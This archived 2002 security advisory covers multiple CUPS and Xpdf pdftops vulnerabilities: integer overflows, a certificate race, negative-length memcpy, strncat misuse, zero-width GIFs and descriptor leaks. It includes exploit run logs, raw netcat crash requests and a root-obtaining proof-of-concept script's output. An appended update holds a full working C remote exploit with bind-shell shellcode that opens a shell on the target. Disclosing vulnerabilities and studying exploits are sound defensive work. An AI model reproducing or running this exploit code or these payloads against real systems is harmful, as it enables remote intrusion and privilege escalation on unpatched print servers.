TUCoPS :: Unix :: General :: unix5893.htm

Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)
20th Dec 2002 [SBWID-5893]
COMMAND

	Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)

SYSTEMS AFFECTED

	Tested : CUPS-1.1.14-5 - 1.1.17
	
	The following major vendors are known to distribute CUPS by default;  in
	some cases, it is the default printing implementation used as well:
	
	 Apple Computer Inc.
	 Debian Project
	 FreeBSD Project
	 MandrakeSoft Inc.
	 NetBSD Foundation
	 Red Hat Inc.
	 Slackware Linux Inc.
	 SuSE Inc.
	 The SCO Group
	 Turbolinux Inc.
	
	
	Also, CUPS with Xpdf (Xpdf 2.01) and all prior versions.
	
	 Verified on Red Hat Linux 7.0 running CUPS-1.1.14-5 (RPM)
	

PROBLEM

	zen-parse   [zen-parse@gmx.net]   discovered   the   following   issues,
	published in iDEFENSE Security Advisory [12.19.02] :
	
	 http://www.idefense.com/advisory/12.19.02.txt
	
	
	
	**** ISSUE 1 - Multiple Integer Overflows ****
	
	An integer overflow exists in the  CUPSd  http  interface.  Exploitation
	allows an attacker to gain the permissions of the 'lp' user id  and  the
	'sys'  group  id.  The  offending  lines  of  code  can  be   found   in
	cgi-bin/var.c:
	
	var                  = form_vars + form_count;
	var->name            = strdup(name);
	var->nvalues         = element + 1;
	var->avalues         = element + 1;
	var->values          = calloc(element + 1, sizeof(char *));
	var->values[element] = strdup(value);
	
	Since an attacker has control over both element and  value,  he  or  she
	can overwrite the address of  a  soon-to-be  called  function  with  the
	address of arbitrary code. The following is  a  successful  run  of  the
	vanilla-coke  exploit  ran  against  test  platform  [1]  built  against
	glibc-2.2.4-18.7.0.8:
	
	$ ./vanilla-coke
	
	$ ls -l /tmp/suid
	- - - - -rwsrwsr-x 1 lp sys 14093 Dec 4 07:50 /tmp/suid
	
	$ /tmp/suid
	sh-2.04$ id
	uid=4(lp) gid=3(sys) groups=500(farmer)
	
	The exploit created a set user id 'lp' shell. While the current  exploit
	works  only  against  systems  utilizing  glibc-2.2.4-18.7.0.8,  it   is
	possible to make modifications  that  will  make  it  effective  against
	earlier glibc versions. The vulnerable code also exists  in  the  latest
	version of CUPS (test platform [3]) and appears to be  exploitable  with
	slight modifications.
	
	Multiple integer overflows also exist in the image handling code of  the
	filters in CUPS. The following is a successful run of the mksun  exploit
	tested against platform [1]:
	
	$ ls -al /tmp/resulted
	/bin/ls: /tmp/resulted: No such file or directory
	
	$ ./mksun | lp
	request id is lp-100 (1 file(s))
	
	$ cat /tmp/resulted
	Ok.
	uid=4(lp) gid=3(sys)
	groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),40(dip)
	
	This vulnerability still exists in the  latest  version  of  CUPS  (test
	platform [3]) slight modification of the exploit code is required.
	
	
	
	**** ISSUE 2 - /etc/cups/certs/ Race Condition ****
	
	A race condition exists in  the  creation  of  /etc/cups/certs/<pid>.
	This allows a local attacker to create or overwrite any file as root.  A
	prerequisite to launching this attack is  'lp'  user  privileges,  which
	can be gained through successful exploitation of ISSUE 1 (see above).
	
	The following is a  successful  run  of  the  ice-cream  exploit  tested
	against platforms [1], [2], and [3]:
	
	sh-2.04$ /tmp/ice-cream
	Waiting for creation event.
	Trying 127.0.0.1...
	Connected to redhat7.0 (127.0.0.1).
	Escape character is '^]'.
	HTTP/1.1 200 OK
	Date: Wed, 04 Dec 2002 12:37:21 GMT
	Server: CUPS/1.1
	...
	...
	
	Connection closed by foreign host. Hit it. exec some suid with  the  lib
	preloading and then remove /etc/ld.so.preload-type-file  to  put  things
	roughly the way they were.
	
	sh-2.04$ ls -l /etc/ld.so.preload-type-file
	- - - - -rw-rw-rw- 1 lp sys 20 Dec 4 07:37 /etc/ld.so.preload-type-file
	
	The  sample  exploit  created  /etc/ld.so.preload-type-file.   An   easy
	modification can generate /etc/ld.so.preload, which can then be used  to
	gain root privileges by redefining  functions  such  as  getuid()  as  a
	simple "return 0".
	
	
	
	**** ISSUE 3 - Adding Printers with UDP Packets/ Root Certificate Design
	Flaw ****
	
	Printers can remotely be added to CUPS by sending  a  specially  crafted
	UDP packet. The ability to remotely add printers is used in ISSUE  3  as
	well as in the exploitation of other subsequent  vulnerabilities  within
	this advisory (see below). The added printer can contain a tainted  name
	that when clicked on or referenced through other means  (image  request,
	etc.) can exploit ISSUE 1. The exploit  does  not  have  to  be  locally
	launched being the shellcode can  be  modified  to  connect  back  to  a
	system controlled by the attacker.
	
	The following is  a  successful  run  of  the  new-coke  exploit  tested
	against platforms [1] and [2]:
	
	$ ./new-coke 127.0.0.1
	Argv[1]=127.0.0.1
	punt!
	
	Checking the web interface to CUPS after running this exploit shows  the
	added printer. The only way to edit or remove this printer  through  the
	web interface is to  click  on  it,  which  will  in  turn  exploit  the
	vulnerability.
	
	A consequence of exploiting this vulnerability is that a local  attacker
	can exploit a design flaw to gain root privileges. A  printer  is  first
	added and configured to run on a high numbered port. It is then told  to
	return  a  "need  authorization"  page.  The  http  backend  will   then
	authorize with the current local root certificate, as this is  the  same
	certificate that is needed to access the administrative section  of  the
	web server. Once the certificate has been obtained, it  is  possible  to
	add a printer that will execute commands with root privileges.
	
	The following is a successful run of the pardonme exploit script  tested
	against platform [1]:
	
	$ ./pardonme.sh
	Proof of concept - stealing certificate 0 from CUPS
	=================================================== Allows access to
	/admin/ area which we use to execute code as root.
	
	- - - - - creating tmp printer to steal key from
	- - - - - telling it we want the key.
	- - - - - listening for key.
	- - - - - attempting to create rootshell printer
	- - - - - calling /tmp/doitnow
	request id is givemeroot-4 (1 file(s))
	- - - - - removing tmp printer "hackyou"
	- - - - - removing root shell printer "givemeroot" - check /tmp/resulted
	- - - - - done
	
	=== contents of file ===
	uid=0(root) gid=0(root)
	Thu Dec 5 02:19:13 GMT 2002
	=== contents of file ===
	
	
	
	**** ISSUE 4 - Negative Length Memcpy() Calls ****
	
	Negative length memcpy() calls can lead to a  denial  of  service  (DoS)
	and, on some platforms, remote root compromise. The  following  examples
	demonstrate these vulnerabilities:
	
	$ nc -v localhost 631
	localhost [127.0.0.1] 631 (?) open
	POST /printers HTTP/1.1
	Host: localhost
	Authorization: Basic AAA
	Content-Length: -1
	
	$ nc -v localhost 631
	localhost [127.0.0.1] 631 (?) open
	POST /printers HTTP/1.1
	Host: localhost
	Authorization: Basic AAA
	Transfer-Encoding: chunked
	
	- - - - -FFFFFFFE
	
	Both requests will crash the CUPS daemon. This issue is similar  to  the
	Apache  HTTP  Server  chunking  bug  that  is  exploitable  on  OpenBSD,
	FreeBSD, and NetBSD due to their implementations of memcpy().  Platforms
	[1], [2] and [3] are all susceptible to this vulnerability.
	
	
	
	**** ISSUE 5 - Unsafe Strncat Function Call in jobs.c ****
	
	jobs.c insecurely uses the strncat function call in  the  setup  of  the
	'options'  string.  As  such,  it  is  possible  to  exploit   this   in
	conjunction with the vulnerability described in ISSUE 3 to obtain  local
	root privileges. To exploit the vulnerability, a printer is  created.  A
	job is then sent to the printer with attributes set in  such  a  fashion
	as to overflow the options buffer and overwrite the  return  address  of
	the frame. Shellcode is then executed. It  calls  an  external  program,
	/tmp/doitnow, which will  be  executed  with  root  privileges.  In  the
	process, two files are created  that,  unless  removed,  should  prevent
	CUPS from starting:
	
	/var/spool/cups/d00*-0*
	/var/spool/cups/c00*
	
	The following is a succesful run of the tosend script that utilizes  the
	lift exploit. It has been tested against platform [1]:
	
	$ ./tosend.sh
	* local root
	* cupsd incorrect usage of strncat in jobs.c
	* ========================================== * proof of concept. appends
	output from "id" and "date" to
	  to /tmp/resulted
	[+] checking stuff
	 * Checking for cupsd file
	 * Checking cupsd is running
	  * checking for /sbin/pidof
	  + ok!
	  * finding pid of process
	13427
	  + ok!
	 * Checking for make
	/usr/bin/make
	 * Checking for nc
	/usr/bin/nc
	[+] Building stuff
	 * Making lift
	make: `lift' is up to date.
	* firing message (needs netcat (nc) to be in your path)
	 punt!
	[+] About to check /tmp/resulted
	- - - - - time is now Wed Dec 4 14:27:16 EST 2002
	- - - - - current uid == 500
	- - - - - current gid == 500
	
	The /tmp/doitnow script, in this case, simply contains the  command  "id
	> /tmp/didit.txt". The tosend script  has  successfully  used  the  lift
	exploit, and the didit.txt file has been created, which, as can be  seen
	from the contents, was executed with root privileges:
	
	# cat /tmp/didit.txt
	uid=0(root) gid=0(root)
	groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
	
	The exploit is not effective against later versions of  CUPS  since  the
	strncat() calls have been replaced with calls to strlcat().
	
	
	
	**** ISSUE 6 - Zero Width Images in filters/image-gif.c ****
	
	CUPS improperly check for zero width images  in  filters/image-gif.c  as
	can be seen from the following offending code:
	
	...
	  bpp       = ImageGetDepth(img);
	  pixels    = calloc(bpp, img->xsize);
	...
	            xpos ++;
	    temp += bpp;
	    if (xpos == img->xsize)
	    {
	      ImagePutRow(img, 0, ypos, img->xsize, pixels); ...
	
	
	The check for reaching the line width is not performed until  after  the
	increment, therefore  allowing  an  attacker  to  manipulate  the  chunk
	headers and execute arbitrary code.
	
	The following is a successful run of the nogif  exploit  tested  against
	platform [1]:
	
	$ ./nogif
	zero width gif exploit for cups "imageto*" filters
	imagetops filter example.
	============================
	ppmtogif: computing other colormap...
	ppmtogif: 256 colors found
	ppmtogif: sorting colormap
	Moving img1.gif to /var/tmp
	Now make and run ./wrap to emulate printing this job.
	
	$ ./wrap
	INFO: lp 7 root img1.gif 1 /var/tmp//////////img1.gif
	DEBUG: Page = 612x792; 18,36 to 594,756
	DEBUG: ImageOpen("/var/tmp//////////img1.gif", 1, 1, 100, 0, (nil))
	
	Successful  exploitation  should  execute   the   file   /tmp/sh.   This
	vulnerability still exists in the latest version of CUPS (test  platform
	[3]). Slight modification of the exploit code is required, however.
	
	
	
	**** ISSUE 7 - File Descriptor Resource Leaks ****
	
	Return values of many  file  and  socket  operations  are  not  checked,
	therefore leading to file descriptor leaks. Attackers can launch  a  DoS
	attack against a system running CUPS. The following is a successful  run
	of the fanta exploit tested against platform [1]:
	
	$ ./fanta
	
	The error below doesn't appear to show up,  and  the  process  hangs  at
	around 300-400 somewhere sometimes.
	
	Problem in cups is caused by  file  descriptor  leaks,  and  failing  to
	check return values for file operations in many areas.
	
	0 sent
	100 sent
	200 sent
	
	
	[1] - Red Hat Linux 7.0 running CUPS-1.1.14-5 (RPM)
	[2] - Red Hat Linux 7.3 running CUPS-1.1.14-15 (RPM)
	[3] - Red Hat Linux 7.3 running CUPS-1.1.17 (Source Install)
	
	
	 Update (24 December 2002)
	 ======
	
	iDEFENSE Security adds in advisory [12.23.02]
	 
	 http://www.idefense.com/advisory/12.23.02.txt
	
	Thanks to zen-parse [zen-parse@gmx.net] work :
	
	--snip--
	
	The pdftops filter in the Xpdf and CUPS  packages  contains  an  integer
	overflow that can be exploited to gain  the  privileges  of  the  target
	user or in some cases the increased  privileges  of  the  'lp'  user  if
	installed  setuid.  There  are  multiple   ways   of   exploiting   this
	vulnerability. The following is just one example:
	
	A ColorSpace  with  1,431,655,768  elements  is  created,  each  element
	having three components. 1,431,655,768 is too large to  store  within  a
	32-bit integer so the high bit is cut off leaving only 8  which  is  how
	much that is actually allocated.
	
	... 
	 /CS 
	 [
	  /Indexed
	  /RGB 
	  1431655768
	  7 0 R 
	 ] 
	... 
	
	The '7 0 R' from above refers to a stream that is  read  into  an  array
	that is allocated as above. The stream is read until it has reached  the
	highest index number, or the stream ends. If the filter supplies  enough
	data the application will crash when trying to access bad memory. It  is
	possible to exploit this condition by supplying the right length of  bad
	memory, and stop the stream breaking the  reading.  A  function  pointer
	can then be overwritten to execute arbitrary code. Example:
	
	...
	7 0 obj <<
	/Length 229
	>>
	stream
	content to write into memory....endstream
	endobject
	... 
	
	The following is a sample run of the cups-pdf exploit running  with  the
	user's privileges:
	
	$ ./cups-pdf | lp
	request id is lp-108 (1 file(s))
	$ ls -l /tmp/pdfexploit-worked 
	- - -rw-rw-r-- 1 farmer farmer 0 Dec 4 13:41 /tmp/pdfexploit-worked 
	
	
	 ANALYSIS
	 ========
	
	This vulnerability is locally exploitable. In order to perform  "remote"
	exploitation, an attacker must trick a user into  printing  a  malformed
	PDF file from the command line. In the implementation cases  where  "lp"
	user privileges are attainable, more advanced attacks can  be  performed
	to gain local root access (see iDEFENSE Advisory 12.19.02).
	
	--snap--
	
	 Update (06 January 2002)
	 ======
	
	
	/*
	 *  by sigdoom [at] bigbox.mine.nu
	 *
	 *  CUPS remote exploit. Exploits integer overflow and gives you shell with
	 *  daemons priviledges (usualy lp), after that you can try to use local
	 *  CUPS exploit to get root.
	 *
	 *  1.1.17 and earlier versions are affected. Tested on gentoo with
	 *  installed cups-1.1.17_pre20021025:
	 *
	 *  $ gcc -o sigcups sigcups.c && ./sigcups -t 127.0.0.1
	 *  [*] connecting to 127.0.0.1 port 631
	 *  [*] trying retaddr = 0x2fffbed8; *4 = 0xbffefb60
	 *  [*] connected, sending exploit...
	 *  [*] done... let's see if we have a shell...
	 *  [*] w000t, here's a shell kiddie...
	 *  uid=4(lp) gid=7(lp) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
	 *  Linux fox.chroot.lt 2.4.20 #2 Sun Dec 29 18:30:35 EET 2002 i686 Pentium III (Coppermine) GenuineIntel GNU/Linux
	 *
	 */
	 
	#include <stdio.h>
	#include <unistd.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
	#include <getopt.h>
	
	#define BUF_SIZE	4096
	
	#define die(a) { perror("[!] "a); exit(-1); }
	
	int		verbose = 0;
	char		*host = "127.0.0.1";
	int		port = 631;
	unsigned long	retaddr = 805289688; /* exploit: *($retaddr * 4) = $address_of_shellcode */
	
	char greet[] = "POST /jobs HTTP/1.1\nContent-type: application/x-www-form-urlencoded\nContent-length: %d\n\n";
	char evilmsg[] = "-%u=";
	
	/*
	 * Bind shell hack by s0t4ipv6@shellcode.com.ar
	 */
	char hellcode[]=
		"\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
		"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
		"\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
		"\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
		"\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
		"\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
		"\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
		"\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
	
	void usage(char *p) {
		printf(
			"Remote CUPS exploit for 1.1.17 and earlier versions\n"
			"by sigdoom [at] bigbox.mine.nu\n"
			"Usage: %s [-t <target>, -p <port>, -o <offset>, -r <retaddr>]\n"
			"\t-t <target> - IP of target\n"
			"\t-p <port> - port where cupsd runs\n"
			"\t-o <offset> - offset for retaddr ($retaddr + $offset)\n"
			"\t-r <retaddr> - give exact retaddr\n", p);
		exit(0);
	}
	
	int main(int argc, char *argv[]) {
		struct sockaddr_in dest;
		int	i, off, sock;
		fd_set	rset;
		char	buf[BUF_SIZE], buf2[BUF_SIZE];
		char	c;
		
		while ((c = getopt(argc, argv, "ho:p:r:t:v")) > 0 ){
			switch (c) {
			case 't':
				host = (char *)optarg;
				break;
			case 'o':
				retaddr += atol(optarg);
				break;
			case 'r':
				retaddr = atol(optarg);
				break;
			case 'p':
				port = atoi(optarg);
				break;
			case 'v':
				verbose++;
				break;
			case 'h':
				usage(argv[0]);
			case '?':
			case ':':
				exit(-1);
			}
		}
	
		printf("[*] connecting to %s port %d\n", host, port);
		printf("[*] trying retaddr = 0x%x; *4 = 0x%x\n", retaddr, retaddr*4);
	
		if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
			die("socket()");
			
		dest.sin_family = AF_INET;
		dest.sin_port = htons(port);
		dest.sin_addr.s_addr = inet_addr(host);
		bzero(&(dest.sin_zero), 8);
	
		if (connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) < 0)
			die("connect()");
		
	
		printf("[*] connected, sending exploit...\n");
	
		off = sprintf(buf, evilmsg, retaddr);
		for (i = 0; i < sizeof(hellcode)-1; i++)
			sprintf(buf+off+i*3, "%%%02X", (unsigned char)hellcode[i]);
	
		sprintf(buf2, greet, strlen(buf));
		
		if (verbose) {
			printf("%s", buf2);
			printf("%s\n", buf);
		}
	
		write(sock, buf2, strlen(buf2));
		write(sock, buf, strlen(buf));
	
		printf("[*] done... let's see if we have a shell...\n");
		close(sock);
	
		if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
			die("socket()");
	
		dest.sin_family = AF_INET;
		dest.sin_port = htons(5074);
		dest.sin_addr.s_addr = inet_addr(host);
		bzero(&(dest.sin_zero), 8);
	
		system("sleep 2");
		if (connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) < 0) {
			printf("[-] better luck next time! try different offsets maybe.\n");
			die("connect()");
		}
	
		printf("[*] w000t, here's a shell kiddie...\n");
		write(sock, "id;uname -a\n", 12);
		while (1) {
			FD_ZERO(&rset);
			FD_SET(sock,&rset);
			FD_SET(STDIN_FILENO,&rset);
			
			select(sock + 1, &rset, NULL, NULL, NULL);
			
			if (FD_ISSET(sock, &rset)) {
				i = read(sock, buf, BUF_SIZE - 1);
				if (i <= 0) {
					printf("[!] Connection closed.\n");
					close(sock);
					exit(0);
				}
				buf[i] = 0;
				printf("%s", buf);
			}
			if (FD_ISSET(STDIN_FILENO, &rset)) {
				i = read(STDIN_FILENO, buf, BUF_SIZE - 1);
				if (i > 0) {
					buf[i]=0;
					write(sock, buf, i);
				}
			}
		}
	
		return 0;
	}
	

SOLUTION

	Michael Sweet [mike@easysw.com] of  Easy  Software  Products  said  CUPS
	1.1.18 will be released December 19, 2002 which addresses all  of  these
	issues
	
	 http://www.cups.org
	
	Mark J Cox (mjc@redhat.com) of Red Hat said the following:
	
	"Red Hat Linux 7.3 and 8.0 ship with CUPS, however it is not enabled by
	default. We are currently working on producing erratum packages. When
	complete, these will be available along with our advisory. At the same
	time, users of the Red Hat Network will be able to update their systems
	using the 'up2date' tool."
	
	Richard Blanchard (rblanchard@apple.com) of Apple said the following:
	
	"Affected Systems:
	     Mac OS X 10.2 - Mac OS X 10.2.2
	     Mac OS X Server 10.2 - Mac OS X Server 10.2.2
	     Mitigating Factors:  The described vulnerability can be remotely
	exploited only when Printer Sharing is enabled. Printer Sharing is not
	enabled by default on Mac OS X or Mac OS X Server.
	Fixed in:  Mac OS X 10.2.3 and Mac OS X Server 10.2.3"
	
	
	 Update (24 December 2002)
	 ======
	
	A patch supplied by the author of Xpdf is available from
	
	 ftp://ftp.foolabs.com/pub/xpdf/xpdf-2.01-patch1 
	
	which fixes this issue in pdftops when  applied  to  the  latest  source
	code version, 2.01. Additionally, the latest version  of  CUPS,  1.1.18,
	should also fix this issue within the included pdftops  utility.  It  is
	available from
	
	 http://www.cups.org
	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH